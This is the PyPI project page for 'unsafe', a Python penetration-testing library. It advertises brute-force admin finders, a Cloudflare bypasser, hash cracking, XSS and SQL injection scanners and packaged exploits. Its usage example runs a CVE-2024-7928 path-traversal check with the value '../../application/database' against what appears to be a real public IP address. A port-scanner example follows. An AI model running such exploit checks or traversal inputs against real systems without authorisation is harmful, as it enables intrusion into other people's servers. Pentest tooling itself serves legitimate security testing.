Skip to main content

A practical and optimal library for those interested in Pentest, cryptography,Vulnerability Scanner and ..

Project description

PyPI Daily Downloads Weekly Downloads Monthly Downloads

Unsafe (Advanced Penetration Testing Module)

Aiming to become the best package available for hacking and security in Python.

Installation

pip install unsafe

Features

  • BruteForce
    • Admin Finder
    • FileManager Finder
    • Cloudflare Bypasser
    • Wordpress Plugin Finder
  • Cryptography
    • Decrypt
    • Encrypt
    • Hash
    • Crack Hash
  • Exploits
  • Forensic
    • Image Metadata
    • PDF Metadata
    • Audio Metadata
  • Network
    • MacAddress Lookup
    • Proxy Tester
    • Port Scanner
    • Proxy Extractor
  • Web
    • Search Engine ( For GoogleDorking )
    • Crawler
    • Xss Scanner
    • SQL Injection Scanner

Usage

Exploit Sample

from unsafe import exploits

penetration_tester = exploits.CVE_2024_7928(
    url="http://47.105.229.158:9001",
    path="/index/ajax/lang",
    key="lang",
    value="../../application/database",
)
result = penetration_tester.check_vuln()
if result is not None:
    print("Target is vulnerable !")
    print("\n".join([f"{k} : {v}" for k, v in result.items()]))
else:
    print("Target is not vulnerable !")

Mac Address lookup/Port scanner

from unsafe import network

# macaddress lookup
mac_address = "00:00:5e:00:53:af"
lookup = network.mac_address_lookup(mac=mac_address)
print(lookup)

# port scanning
ports = [80, 443, 21, 27017, 9002]
ip = "127.0.0.1"
open_ports = network.port_scanner(host=ip, ports=ports)
print(open_ports)

More Examples on Github

New Features : Coming Soon...

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distribution

unsafe-1.3-py3-none-any.whl (361.1 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page